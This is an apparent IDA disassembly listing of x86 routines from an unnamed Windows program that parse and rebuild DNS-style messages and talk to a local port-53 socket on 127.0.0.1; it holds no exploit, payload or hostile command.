loc_414B7D xor eax, eax jmp locret_414E47 ; --------------------------------------------------------------------------- loc_414B7D: ; CODE XREF: sub_414B68+Cj push esi push 30h push 1 call sub_40CC93 mov esi, eax test esi, esi pop ecx pop ecx jz loc_414E46 push ebx push edi mov edi, [ebp+arg_0] movzx ax, byte ptr [edi] movzx cx, byte ptr [edi+1] shl ax, 8 add ax, cx mov [esi], ax mov al, [edi+2] shr al, 7 mov [esi+2], al movzx eax, byte ptr [edi+2] shr eax, 3 and eax, 0Fh mov [esi+4], eax mov al, [edi+2] shr al, 2 and al, 1 mov [esi+8], al mov al, [edi+2] shr al, 1 and al, 1 mov [esi+9], al mov al, [edi+2] and al, 1 mov [esi+0Ah], al mov al, [edi+3] shr al, 7 mov [esi+0Bh], al mov al, [edi+3] shr al, 6 and al, 1 mov [esi+0Ch], al mov al, [edi+3] shr al, 5 and al, 1 mov [esi+0Dh], al mov al, [edi+3] shr al, 4 and al, 1 mov [esi+0Eh], al movzx eax, byte ptr [edi+3] and eax, 0Fh mov [esi+10h], eax movzx ax, byte ptr [edi+4] movzx cx, byte ptr [edi+5] shl ax, 8 add ax, cx mov [esi+14h], ax movzx ax, byte ptr [edi+6] movzx cx, byte ptr [edi+7] shl ax, 8 add ax, cx mov [esi+16h], ax movzx ax, byte ptr [edi+8] movzx cx, byte ptr [edi+9] shl ax, 8 add ax, cx mov [esi+18h], ax movzx ax, byte ptr [edi+0Ah] movzx cx, byte ptr [edi+0Bh] shl ax, 8 add ax, cx mov [esi+1Ah], ax lea eax, [edi+0Ch] mov [ebp+var_8], eax movzx eax, word ptr [esi+14h] test ax, ax jbe short loc_414CDE movzx eax, ax push 4 push eax call sub_40CC93 test eax, eax pop ecx pop ecx mov [esi+1Ch], eax jz loc_414E4B xor ebx, ebx cmp [esi+14h], bx jbe short loc_414CDE loc_414C95: ; CODE XREF: sub_414B68+174j push 110h push 1 call sub_40CC93 pop ecx pop ecx mov ecx, [esi+1Ch] mov [ecx+ebx*4], eax mov eax, [esi+1Ch] lea eax, [eax+ebx*4] cmp dword ptr [eax], 0 jz loc_414E4B mov ecx, [ebp+arg_4] add ecx, edi push ecx push edi lea ecx, [ebp+var_8] push ecx push dword ptr [eax] mov ecx, [ebp+var_4] call sub_4148A8 test eax, eax jnz loc_414E4B movzx eax, word ptr [esi+14h] inc ebx cmp ebx, eax jl short loc_414C95 loc_414CDE: ; CODE XREF: sub_414B68+10Bj ; sub_414B68+12Bj movzx eax, word ptr [esi+16h] test ax, ax mov ebx, 114h jbe short loc_414D5C movzx eax, ax push 4 push eax call sub_40CC93 test eax, eax pop ecx pop ecx mov [esi+20h], eax jz loc_414E4B and [ebp+arg_0], 0 cmp word ptr [esi+16h], 0 jbe short loc_414D5C loc_414D0F: ; CODE XREF: sub_414B68+1F2j push ebx push 1 call sub_40CC93 mov edx, [ebp+arg_0] pop ecx pop ecx mov ecx, [esi+20h] mov [ecx+edx*4], eax mov eax, [esi+20h] mov ecx, edx lea eax, [eax+ecx*4] cmp dword ptr [eax], 0 jz loc_414E4B mov ecx, [ebp+arg_4] add ecx, edi push ecx push edi lea ecx, [ebp+var_8] push ecx push dword ptr [eax] mov ecx, [ebp+var_4] call sub_414787 test eax, eax jnz loc_414E4B movzx eax, word ptr [esi+16h] inc [ebp+arg_0] cmp [ebp+arg_0], eax jl short loc_414D0F loc_414D5C: ; CODE XREF: sub_414B68+182j ; sub_414B68+1A5j movzx eax, word ptr [esi+18h] test ax, ax jbe short loc_414DD5 movzx eax, ax push 4 push eax call sub_40CC93 test eax, eax pop ecx pop ecx mov [esi+24h], eax jz loc_414E4B and [ebp+arg_0], 0 cmp word ptr [esi+18h], 0 jbe short loc_414DD5 loc_414D88: ; CODE XREF: sub_414B68+26Bj push ebx push 1 call sub_40CC93 mov edx, [ebp+arg_0] pop ecx pop ecx mov ecx, [esi+24h] mov [ecx+edx*4], eax mov eax, [esi+24h] mov ecx, edx lea eax, [eax+ecx*4] cmp dword ptr [eax], 0 jz loc_414E4B mov ecx, [ebp+arg_4] add ecx, edi push ecx push edi lea ecx, [ebp+var_8] push ecx push dword ptr [eax] mov ecx, [ebp+var_4] call sub_414787 test eax, eax jnz loc_414E4B movzx eax, word ptr [esi+18h] inc [ebp+arg_0] cmp [ebp+arg_0], eax jl short loc_414D88 loc_414DD5: ; CODE XREF: sub_414B68+1FBj ; sub_414B68+21Ej movzx eax, word ptr [esi+1Ah] test ax, ax jbe short loc_414E42 movzx eax, ax push 4 push eax call sub_40CC93 test eax, eax pop ecx pop ecx mov [esi+28h], eax jz short loc_414E4B and [ebp+arg_0], 0 cmp word ptr [esi+1Ah], 0 jbe short loc_414E42 loc_414DFD: ; CODE XREF: sub_414B68+2D8j push ebx push 1 call sub_40CC93 mov edx, [ebp+arg_0] pop ecx pop ecx mov ecx, [esi+28h] mov [ecx+edx*4], eax mov eax, [esi+28h] mov ecx, edx lea eax, [eax+ecx*4] cmp dword ptr [eax], 0 jz short loc_414E4B mov ecx, [ebp+arg_4] add ecx, edi push ecx push edi lea ecx, [ebp+var_8] push ecx push dword ptr [eax] mov ecx, [ebp+var_4] call sub_414787 test eax, eax jnz short loc_414E4B movzx eax, word ptr [esi+1Ah] inc [ebp+arg_0] cmp [ebp+arg_0], eax jl short loc_414DFD loc_414E42: ; CODE XREF: sub_414B68+274j ; sub_414B68+293j mov eax, esi loc_414E44: ; CODE XREF: sub_414B68+2EEj pop edi pop ebx loc_414E46: ; CODE XREF: sub_414B68+25j pop esi locret_414E47: ; CODE XREF: sub_414B68+10j leave retn 8 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414B68+11Fj ; sub_414B68+14Aj ... mov ecx, [ebp+var_4] push esi call sub_414592 xor eax, eax jmp short loc_414E44 sub_414B68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414E58 proc near ; CODE XREF: sub_415F7D+19Ap var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1008h call sub_4011B0 mov eax, [ebp+arg_4] push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx mov [ebp+var_4], ecx mov [ebp+var_8], eax jnz short loc_414E87 lea edi, [ebp+var_1008] mov [ebp+arg_4], 1000h loc_414E87: ; CODE XREF: sub_414E58+20j mov esi, [ebp+arg_8] mov al, [esi+1] mov [edi], al mov al, [esi] mov [edi+1], al mov al, [esi+2] mov cl, [esi+4] shl al, 4 sub cl, al add cl, cl add cl, [esi+8] add cl, cl add cl, [esi+9] add cl, cl add cl, [esi+0Ah] mov [edi+2], cl mov al, [esi+0Bh] mov cl, [esi+0Ch] add al, al sub cl, al add cl, cl add cl, [esi+0Dh] add cl, cl add cl, [esi+0Eh] shl cl, 4 add cl, [esi+10h] mov [edi+3], cl mov al, [esi+15h] mov [edi+4], al mov al, [esi+14h] mov [edi+5], al mov al, [esi+17h] mov [edi+6], al mov al, [esi+16h] mov [edi+7], al mov al, [esi+19h] mov [edi+8], al mov al, [esi+18h] mov [edi+9], al mov al, [esi+1Bh] mov [edi+0Ah], al mov al, [esi+1Ah] mov [edi+0Bh], al cmp [esi+14h], bx lea eax, [edi+0Ch] mov [ebp+arg_0], eax jbe short loc_414F36 loc_414F0A: ; CODE XREF: sub_414E58+DCj mov eax, [esi+1Ch] test eax, eax jz short loc_414F2D lea eax, [eax+ebx*4] cmp dword ptr [eax], 0 jz short loc_414F2D push dword ptr [eax] mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] add eax, edi push eax lea eax, [ebp+arg_0] push eax call sub_414AD3 loc_414F2D: ; CODE XREF: sub_414E58+B7j ; sub_414E58+BFj movzx eax, word ptr [esi+14h] inc ebx cmp ebx, eax jl short loc_414F0A loc_414F36: ; CODE XREF: sub_414E58+B0j xor ebx, ebx cmp [esi+16h], bx jbe short loc_414F6A loc_414F3E: ; CODE XREF: sub_414E58+110j mov eax, [esi+20h] test eax, eax jz short loc_414F61 lea eax, [eax+ebx*4] cmp dword ptr [eax], 0 jz short loc_414F61 push dword ptr [eax] mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] add eax, edi push eax lea eax, [ebp+arg_0] push eax call sub_4149C4 loc_414F61: ; CODE XREF: sub_414E58+EBj ; sub_414E58+F3j movzx eax, word ptr [esi+16h] inc ebx cmp ebx, eax jl short loc_414F3E loc_414F6A: ; CODE XREF: sub_414E58+E4j xor ebx, ebx cmp [esi+18h], bx jbe short loc_414F9E loc_414F72: ; CODE XREF: sub_414E58+144j mov eax, [esi+24h] test eax, eax jz short loc_414F95 lea eax, [eax+ebx*4] cmp dword ptr [eax], 0 jz short loc_414F95 push dword ptr [eax] mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] add eax, edi push eax lea eax, [ebp+arg_0] push eax call sub_4149C4 loc_414F95: ; CODE XREF: sub_414E58+11Fj ; sub_414E58+127j movzx eax, word ptr [esi+18h] inc ebx cmp ebx, eax jl short loc_414F72 loc_414F9E: ; CODE XREF: sub_414E58+118j xor ebx, ebx cmp [esi+1Ah], bx jbe short loc_414FD2 loc_414FA6: ; CODE XREF: sub_414E58+178j mov eax, [esi+28h] test eax, eax jz short loc_414FC9 lea eax, [eax+ebx*4] cmp dword ptr [eax], 0 jz short loc_414FC9 push dword ptr [eax] mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] add eax, edi push eax lea eax, [ebp+arg_0] push eax call sub_4149C4 loc_414FC9: ; CODE XREF: sub_414E58+153j ; sub_414E58+15Bj movzx eax, word ptr [esi+1Ah] inc ebx cmp ebx, eax jl short loc_414FA6 loc_414FD2: ; CODE XREF: sub_414E58+14Cj mov eax, [ebp+arg_0] sub eax, edi cmp eax, [ebp+var_8] pop edi pop esi pop ebx jle short locret_414FE7 cmp [ebp+var_8], 0 jle short locret_414FE7 xor eax, eax locret_414FE7: ; CODE XREF: sub_414E58+185j ; sub_414E58+18Bj leave retn 0Ch sub_414E58 endp ; =============== S U B R O U T I N E ======================================= sub_414FEB proc near ; CODE XREF: sub_415D96+41p ; sub_415D96+91p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [ecx] cmp eax, [esp+arg_4] jge short loc_414FFB xor al, al jmp short locret_415003 ; --------------------------------------------------------------------------- loc_414FFB: ; CODE XREF: sub_414FEB+Aj sub eax, [esp+arg_4] mov [ecx], eax mov al, 1 locret_415003: ; CODE XREF: sub_414FEB+Ej retn 8 sub_414FEB endp ; =============== S U B R O U T I N E ======================================= sub_415006 proc near ; DATA XREF: .rdata:off_4202ACo arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov esi, ecx lea edi, [esi+10h] push edi call ds:dword_4180DC push 10h push [esp+0Ch+arg_0] lea ecx, [esi+44h] push 0 push [esp+14h+arg_8] push [esp+18h+arg_4] call sub_40D83F push edi mov esi, eax call ds:dword_4180E0 pop edi mov eax, esi pop esi retn 0Ch sub_415006 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41503C proc near ; CODE XREF: sub_415F7D+11Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_4] push ebx push esi mov esi, [ebp+arg_0] mov eax, [esi+1Ch] xor ebx, ebx push ebx mov [ebp+var_4], ebx mov eax, [eax+ecx*4] lea ecx, [ebp+var_4] push ecx movzx ecx, word ptr [eax+100h] push ebx push ebx push ecx push eax call sub_4177E8 test eax, eax jl loc_41517D mov eax, [ebp+var_4] cmp eax, ebx jz loc_41517D movzx ecx, word ptr [esi+16h] mov [ebp+arg_0], ecx loc_415082: ; CODE XREF: sub_41503C+52j inc word ptr [esi+16h] mov eax, [eax] cmp eax, ebx movzx ecx, word ptr [esi+16h] jnz short loc_415082 movzx eax, cx mov ecx, [esi+20h] shl eax, 2 cmp ecx, ebx push eax jnz short loc_4150A5 call sub_40CC7F jmp short loc_4150AC ; --------------------------------------------------------------------------- loc_4150A5: ; CODE XREF: sub_41503C+60j push ecx call sub_40CCAD pop ecx loc_4150AC: ; CODE XREF: sub_41503C+67j pop ecx push edi mov edi, [ebp+var_4] cmp edi, ebx mov [esi+20h], eax jz loc_41516E mov ebx, [ebp+arg_0] shl ebx, 2 loc_4150C2: ; CODE XREF: sub_41503C+12Cj push 114h push 1 call sub_40CC93 mov ecx, [esi+20h] mov [ebx+ecx], eax mov eax, [esi+20h] mov eax, [eax+ebx] mov dword ptr [eax+104h], 1 mov eax, [esi+20h] mov eax, [eax+ebx] mov ecx, [edi+10h] mov [eax+108h], ecx movzx eax, word ptr [edi+8] mov ecx, [esi+20h] mov ecx, [ecx+ebx] mov [ecx+100h], eax push dword ptr [edi+4] mov eax, [esi+20h] push dword ptr [eax+ebx] call sub_40CD8E movzx eax, word ptr [edi+8] add esp, 10h dec eax jnz short loc_415161 mov eax, [esi+20h] mov eax, [eax+ebx] mov cx, [edi+0Ah] mov [eax+10Ch], cx movzx eax, word ptr [edi+0Ah] push eax push 1 call sub_40CC93 mov ecx, [esi+20h] mov ecx, [ecx+ebx] mov [ecx+110h], eax movzx eax, word ptr [edi+0Ah] push eax lea eax, [edi+18h] push eax mov eax, [esi+20h] mov eax, [eax+ebx] push dword ptr [eax+110h] call sub_40CCF7 add esp, 14h loc_415161: ; CODE XREF: sub_41503C+DDj mov edi, [edi] add ebx, 4 test edi, edi jnz loc_4150C2 loc_41516E: ; CODE XREF: sub_41503C+7Aj push 1 push [ebp+var_4] call sub_4177E2 mov al, 1 pop edi jmp short loc_41517F ; --------------------------------------------------------------------------- loc_41517D: ; CODE XREF: sub_41503C+2Ej ; sub_41503C+39j xor al, al loc_41517F: ; CODE XREF: sub_41503C+13Fj pop esi pop ebx leave retn 8 sub_41503C endp ; =============== S U B R O U T I N E ======================================= sub_415185 proc near ; CODE XREF: sub_4155DF+9Ap ; sub_4155DF+E9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 2Eh push [esp+8+arg_0] call sub_40CEE6 mov esi, eax test esi, esi pop ecx pop ecx jnz short loc_41519D xor al, al jmp short loc_4151C7 ; --------------------------------------------------------------------------- loc_41519D: ; CODE XREF: sub_415185+12j push 2Eh push [esp+8+arg_0] mov byte ptr [esi], 0 call sub_40CEE6 test eax, eax pop ecx pop ecx mov byte ptr [esi], 2Eh jnz short loc_4151BA mov eax, [esp+4+arg_0] jmp short loc_4151BB ; --------------------------------------------------------------------------- loc_4151BA: ; CODE XREF: sub_415185+2Dj inc eax loc_4151BB: ; CODE XREF: sub_415185+33j mov ecx, [esp+4+arg_4] push eax call sub_4012E7 mov al, 1 loc_4151C7: ; CODE XREF: sub_415185+16j pop esi retn 8 sub_415185 endp ; =============== S U B R O U T I N E ======================================= sub_4151CB proc near ; CODE XREF: sub_4045DD+7Ap ; sub_4045DD+116p ... arg_0 = dword ptr 4 push esi push 0Ch mov esi, ecx call sub_40D0BB and dword ptr [eax+8], 0 pop ecx mov ecx, [esp+4+arg_0] mov [eax], ecx mov ecx, [esi] mov [eax+4], ecx mov ecx, [esi] test ecx, ecx jz short loc_4151EE mov [ecx+8], eax loc_4151EE: ; CODE XREF: sub_4151CB+1Ej mov [esi], eax add esi, 4 push esi call ds:dword_4180E4 pop esi retn 4 sub_4151CB endp ; =============== S U B R O U T I N E ======================================= sub_4151FE proc near ; DATA XREF: sub_40174B+1Bo ; sub_40177E+17o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] push dword ptr [esi+4] mov ecx, [eax+8] call dword ptr [eax+0Ch] push esi call sub_40D0B6 pop ecx xor eax, eax pop esi retn 4 sub_4151FE endp ; =============== S U B R O U T I N E ======================================= sub_41521B proc near ; CODE XREF: sub_41537B+3p push esi push 0 push offset dword_421D40 mov esi, ecx call ds:dword_4180F0 push 0 push 35h lea ecx, [esi+44h] call sub_40DA80 xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov al, cl pop esi retn sub_41521B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415243 proc near ; CODE XREF: sub_416130+Ap var_14 = byte ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push esi push 35h mov esi, ecx push 7F000001h lea ecx, [ebp+var_14] call sub_401219 mov eax, [esi] push 4 lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_14] push ecx mov ecx, esi mov [ebp+var_4], 3DA712EBh call dword ptr [eax] push dword ptr [esi+40h] call ds:dword_4180A8 pop esi leave retn sub_415243 endp ; =============== S U B R O U T I N E ======================================= sub_41527E proc near ; CODE XREF: sub_415D96+195p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push 0Ch mov esi, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_4152AA push [esp+0Ch+arg_C] mov ecx, eax push [esp+10h+arg_8] push [esp+14h+arg_4] push [esp+18h+arg_0] call sub_41443E mov ebx, eax jmp short loc_4152AC ; --------------------------------------------------------------------------- loc_4152AA: ; CODE XREF: sub_41527E+Fj xor ebx, ebx loc_4152AC: ; CODE XREF: sub_41527E+2Aj lea edi, [esi+28h] push edi call ds:dword_4180DC push ebx lea ecx, [esi+8] call sub_4151CB push edi call ds:dword_4180E0 pop edi pop esi pop ebx retn 10h sub_41527E endp ; =============== S U B R O U T I N E ======================================= sub_4152CC proc near ; CODE XREF: sub_415417+1Dp ; sub_4154AD+10Cp ... push esi mov esi, ecx lea ecx, [esi+8] call sub_4093F0 mov ecx, esi pop esi jmp sub_40DB59 sub_4152CC endp ; =============== S U B R O U T I N E ======================================= sub_4152DF proc near ; CODE XREF: sub_41570A+3E4p ; sub_41570A+5B2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi xor ebx, ebx push 114h inc ebx push ebx call sub_40CC93 mov edi, [esp+14h+arg_0] mov esi, eax mov eax, [esp+14h+arg_4] and dword ptr [esi+108h], 0 test eax, eax pop ecx pop ecx mov [esi+104h], ebx mov [esi+100h], ebx jnz short loc_415315 mov eax, [edi] loc_415315: ; CODE XREF: sub_4152DF+32j push eax push esi call sub_40CD8E push 4 push ebx mov word ptr [esi+10Ch], 4 call sub_40CC93 mov [esi+110h], eax mov ebx, [edi+8] call sub_40CF34 xor edx, edx div dword ptr [ebx] movzx eax, word ptr [esi+10Ch] push eax mov eax, [edi+8] lea eax, [eax+edx*4+4] push eax push dword ptr [esi+110h] call sub_40CCF7 add esp, 1Ch pop edi mov eax, esi pop esi pop ebx retn 8 sub_4152DF endp ; =============== S U B R O U T I N E ======================================= sub_415365 proc near ; CODE XREF: sub_416130+29p arg_0 = dword ptr 4 jmp short loc_415371 ; --------------------------------------------------------------------------- loc_415367: ; CODE XREF: sub_415365+13j push [esp+arg_0] call ds:dword_4180C8 loc_415371: ; CODE XREF: sub_415365j cmp dword_421D40, 0 jg short loc_415367 retn sub_415365 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41537B proc near ; CODE XREF: sub_406E37+1EDp push esi mov esi, ecx call sub_41521B test al, al jnz short loc_415389 pop esi retn ; --------------------------------------------------------------------------- loc_415389: ; CODE XREF: sub_41537B+Aj push 0 lea ecx, [esi+50h] call sub_40174B mov al, 1 pop esi retn sub_41537B endp ; =============== S U B R O U T I N E ======================================= sub_415397 proc near ; CODE XREF: sub_4154AD+BEp ; sub_4155DF+C0p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov esi, ecx lea edi, [esi+28h] push edi call ds:dword_4180DC mov esi, [esi+8] jmp short loc_4153C4 ; --------------------------------------------------------------------------- loc_4153AA: ; CODE XREF: sub_415397+2Fj mov eax, [esi] push [esp+8+arg_0] mov eax, [eax] push eax call ds:dword_418034 test eax, eax jz short loc_4153CC test esi, esi jz short loc_4153C8 mov esi, [esi+4] loc_4153C4: ; CODE XREF: sub_415397+11j test esi, esi jnz short loc_4153AA loc_4153C8: ; CODE XREF: sub_415397+28j xor esi, esi jmp short loc_415409 ; --------------------------------------------------------------------------- loc_4153CC: ; CODE XREF: sub_415397+24j mov eax, [esp+8+arg_8] test eax, eax jz short loc_4153D6 mov [eax], esi loc_4153D6: ; CODE XREF: sub_415397+3Bj cmp [esp+8+arg_4], 0 jz short loc_4153FD push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_415405 test esi, esi jz short loc_4153F1 mov esi, [esi] jmp short loc_4153F3 ; --------------------------------------------------------------------------- loc_4153F1: ; CODE XREF: sub_415397+54j xor esi, esi loc_4153F3: ; CODE XREF: sub_415397+58j push esi mov ecx, eax call sub_4144B5 jmp short loc_415407 ; --------------------------------------------------------------------------- loc_4153FD: ; CODE XREF: sub_415397+44j test esi, esi jz short loc_415405 mov eax, [esi] jmp short loc_415407 ; --------------------------------------------------------------------------- loc_415405: ; CODE XREF: sub_415397+50j ; sub_415397+68j xor eax, eax loc_415407: ; CODE XREF: sub_415397+64j ; sub_415397+6Cj mov esi, eax loc_415409: ; CODE XREF: sub_415397+33j push edi call ds:dword_4180E0 pop edi mov eax, esi pop esi retn 0Ch sub_415397 endp ; =============== S U B R O U T I N E ======================================= sub_415417 proc near ; CODE XREF: sub_4154AD+3Ep arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, [ebx] test esi, esi jz short loc_415452 push edi loc_415424: ; CODE XREF: sub_415417+38j test esi, esi jz short loc_41542C mov edi, [esi] jmp short loc_41542E ; --------------------------------------------------------------------------- loc_41542C: ; CODE XREF: sub_415417+Fj xor edi, edi loc_41542E: ; CODE XREF: sub_415417+13j test edi, edi jz short loc_415440 mov ecx, edi call sub_4152CC push edi call sub_40D0B6 pop ecx loc_415440: ; CODE XREF: sub_415417+19j mov edi, [esi+4] push esi mov ecx, ebx call sub_4041B2 test edi, edi mov esi, edi jnz short loc_415424 pop edi loc_415452: ; CODE XREF: sub_415417+Aj pop esi pop ebx retn 4 sub_415417 endp ; =============== S U B R O U T I N E ======================================= sub_415457 proc near ; CODE XREF: sub_4154AD+29p arg_0 = dword ptr 4 push esi push edi mov esi, ecx lea edi, [esi+28h] push edi call ds:dword_4180DC mov esi, [esi+8] jmp short loc_41549D ; --------------------------------------------------------------------------- loc_41546A: ; CODE XREF: sub_415457+48j push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_41548A test esi, esi jz short loc_41547E mov edx, [esi] jmp short loc_415480 ; --------------------------------------------------------------------------- loc_41547E: ; CODE XREF: sub_415457+21j xor edx, edx loc_415480: ; CODE XREF: sub_415457+25j push edx mov ecx, eax call sub_4144B5 jmp short loc_41548C ; --------------------------------------------------------------------------- loc_41548A: ; CODE XREF: sub_415457+1Dj xor eax, eax loc_41548C: ; CODE XREF: sub_415457+31j mov ecx, [esp+8+arg_0] push eax call sub_4151CB test esi, esi jz short loc_4154A1 mov esi, [esi+4] loc_41549D: ; CODE XREF: sub_415457+11j test esi, esi jnz short loc_41546A loc_4154A1: ; CODE XREF: sub_415457+41j push edi call ds:dword_4180E0 pop edi pop esi retn 4 sub_415457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4154AD proc near ; DATA XREF: sub_41634A+5Co var_418 = dword ptr -418h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 418h push ebx push esi push edi mov edi, ds:dword_4180B0 mov esi, ecx mov ebx, 3A98h jmp short loc_4154F0 ; --------------------------------------------------------------------------- loc_4154C8: ; CODE XREF: sub_4154AD+4Dj and [ebp+var_18], 0 and [ebp+var_14], 0 lea eax, [ebp+var_18] push eax mov ecx, esi call sub_415457 mov eax, [ebp+var_18] test eax, eax mov [ebp+var_C], eax jnz short loc_415503 lea eax, [ebp+var_18] push eax mov ecx, esi call sub_415417 loc_4154F0: ; CODE XREF: sub_4154AD+19j push 1 push ebx push dword ptr [esi+40h] call edi test eax, eax jnz short loc_4154C8 pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_415503: ; CODE XREF: sub_4154AD+36j ; sub_4154AD+9Ej ... xor ebx, ebx mov [ebp+var_1], 0 mov [ebp+var_8], ebx loc_41550C: ; CODE XREF: sub_4154AD+98j mov eax, [ebp+var_C] mov eax, [eax] mov ecx, [eax+8] cmp ebx, [ecx] jnb short loc_415547 mov eax, ecx mov edi, [eax+ebx*4+4] mov ecx, [esi+4] mov eax, [ecx] push edi call dword ptr [eax] test al, al jnz short loc_415544 mov eax, [ebp+var_8] inc [ebp+var_8] cmp [ebp+var_8], 100h mov [ebp+var_1], 1 mov [ebp+eax*4+var_418], edi jz short loc_41554D loc_415544: ; CODE XREF: sub_4154AD+7Bj inc ebx jmp short loc_41550C ; --------------------------------------------------------------------------- loc_415547: ; CODE XREF: sub_4154AD+69j cmp [ebp+var_1], 0 jz short loc_415503 loc_41554D: ; CODE XREF: sub_4154AD+95j lea eax, [esi+28h] push eax call ds:dword_4180DC mov eax, [ebp+var_C] mov eax, [eax] mov eax, [eax] lea ecx, [ebp+var_10] push ecx xor ebx, ebx push ebx push eax mov ecx, esi mov [ebp+var_10], ebx call sub_415397 mov edi, eax cmp edi, ebx jz short loc_4155D0 mov eax, [edi+8] xor ecx, ecx cmp [eax], ebx jbe short loc_4155A8 loc_41557F: ; CODE XREF: sub_4154AD+F9j xor ebx, ebx cmp [ebp+var_8], ebx jbe short loc_4155A0 lea eax, [eax+ecx*4+4] loc_41558A: ; CODE XREF: sub_4154AD+ECj mov edx, [eax] cmp edx, [ebp+ebx*4+var_418] jz short loc_41559D inc ebx cmp ebx, [ebp+var_8] jb short loc_41558A jmp short loc_4155A0 ; --------------------------------------------------------------------------- loc_41559D: ; CODE XREF: sub_4154AD+E6j and dword ptr [eax], 0 loc_4155A0: ; CODE XREF: sub_4154AD+D7j ; sub_4154AD+EEj mov eax, [edi+8] inc ecx cmp ecx, [eax] jb short loc_41557F loc_4155A8: ; CODE XREF: sub_4154AD+D0j mov ecx, edi call sub_414526 mov eax, [edi+8] cmp dword ptr [eax], 0 jnz short loc_4155D0 mov ecx, edi call sub_4152CC push edi call sub_40D0B6 pop ecx push [ebp+var_10] lea ecx, [esi+8] call sub_4041B2 loc_4155D0: ; CODE XREF: sub_4154AD+C7j ; sub_4154AD+108j lea eax, [esi+28h] push eax call ds:dword_4180E0 jmp loc_415503 sub_4154AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155DF proc near ; CODE XREF: sub_415F7D+29p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push edi mov edi, [ebp+arg_0] xor ebx, ebx cmp [edi+14h], bx mov [ebp+var_8], ecx mov [ebp+var_1], 0 jbe loc_415701 push esi loc_4155FE: ; CODE XREF: sub_4155DF+110j mov eax, [edi+1Ch] mov esi, ebx shl esi, 2 mov eax, [eax+esi] mov eax, [eax+100h] cmp eax, 1 jnz loc_4156A9 lea ecx, [ebp+arg_0] call sub_40DB48 mov eax, [edi+1Ch] push dword ptr [eax+esi] call ds:dword_41811C push eax mov eax, [edi+1Ch] push dword ptr [eax+esi] call ds:dword_41814C mov eax, [edi+1Ch] mov eax, [esi+eax] push offset aNs ; "ns" push eax call sub_40CE77 pop ecx pop ecx mov ecx, [edi+1Ch] add ecx, esi cmp eax, [ecx] jnz short loc_415680 mov eax, [ecx] mov al, [eax+2] cmp al, 2Eh jz short loc_41566C movsx eax, al push eax call sub_40CE2C test eax, eax pop ecx jz short loc_415680 loc_41566C: ; CODE XREF: sub_4155DF+7Dj mov ecx, [ebp+var_8] lea eax, [ebp+arg_0] push eax mov eax, [edi+1Ch] push dword ptr [eax+esi] call sub_415185 jmp short loc_415695 ; --------------------------------------------------------------------------- loc_415680: ; CODE XREF: sub_4155DF+74j ; sub_4155DF+8Bj mov eax, [edi+1Ch] mov esi, [esi+eax] test esi, esi jz short loc_415695 push 0 push esi lea ecx, [ebp+arg_0] call sub_40DB5E loc_415695: ; CODE XREF: sub_4155DF+9Fj ; sub_4155DF+A9j mov ecx, [ebp+var_8] push 0 push 0 push [ebp+arg_0] call sub_415397 lea ecx, [ebp+arg_0] jmp short loc_4156DF ; --------------------------------------------------------------------------- loc_4156A9: ; CODE XREF: sub_4155DF+33j cmp eax, 2 jz short loc_4156B3 cmp eax, 6 jnz short loc_4156E8 loc_4156B3: ; CODE XREF: sub_4155DF+CDj lea ecx, [ebp+var_C] call sub_40DB48 mov ecx, [ebp+var_8] lea eax, [ebp+var_C] push eax mov eax, [edi+1Ch] push dword ptr [eax+esi] call sub_415185 mov ecx, [ebp+var_8] push 0 push 0 push [ebp+var_C] call sub_415397 lea ecx, [ebp+var_C] loc_4156DF: ; CODE XREF: sub_4155DF+C8j test eax, eax jnz short loc_4156F7 call sub_40DB59 loc_4156E8: ; CODE XREF: sub_4155DF+D2j movzx eax, word ptr [edi+14h] inc ebx cmp ebx, eax jl loc_4155FE jmp short loc_415700 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_4155DF+102j mov [ebp+var_1], 1 call sub_40DB59 loc_415700: ; CODE XREF: sub_4155DF+116j pop esi loc_415701: ; CODE XREF: sub_4155DF+18j mov al, [ebp+var_1] pop edi pop ebx leave retn 4 sub_4155DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 